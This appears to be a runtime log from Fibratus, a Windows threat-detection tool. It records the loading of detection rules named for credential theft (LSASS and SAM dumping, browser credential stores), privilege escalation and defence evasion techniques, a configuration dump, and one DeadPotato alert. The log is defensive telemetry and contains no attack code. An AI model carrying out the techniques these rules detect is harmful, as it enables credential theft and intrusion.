C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T12:11:22+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T12:11:22+01:00 level=info msg=bootstrapping with pid 8528. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T12:11:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] port=>25 content-type=>text/html enabled=>false] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-registry=>true max-buffers=>36 enable-dns=>false enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-handle=>false min-buffers=>16 enable-mem=>false buffer-size=>512 stack-enrichment=>true flush-interval=>1s enable-threadpool=>false enable-image=>true enable-thread=>true enable-audit-api=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true max-age=>0 formatter=>text max-size=>100 level=>info] + output ......................... [ amqp=>[ exchange-type=>topic timeout=>5s routing-key=>fibratus url=>amqp://localhost:5672 exchange=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient enabled=>false vhost=>/ passive=>false durable=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ endpoints=>[] enable-gzip=>false timeout=>5s serializer=>json enabled=>false tls-insecure-skip-verify=>false method=>POST] elasticsearch=>[ flush-period=>1s sniff=>false index-name=>fibratus template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true gzip-compression=>false bulk-workers=>1 timeout=>5s trace-log=>false healthcheck-interval=>10s healthcheck-timeout=>5s enabled=>false]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] skip-registry=>false skip-allocs=>false skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T12:11:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T12:11:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T12:11:37+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: Event(s): source=action/alert.go:37 +time=2025-11-25T12:11:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T12:11:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T12:11:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T12:13:09+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T12:13:09+01:00 level=info msg=loading rule from 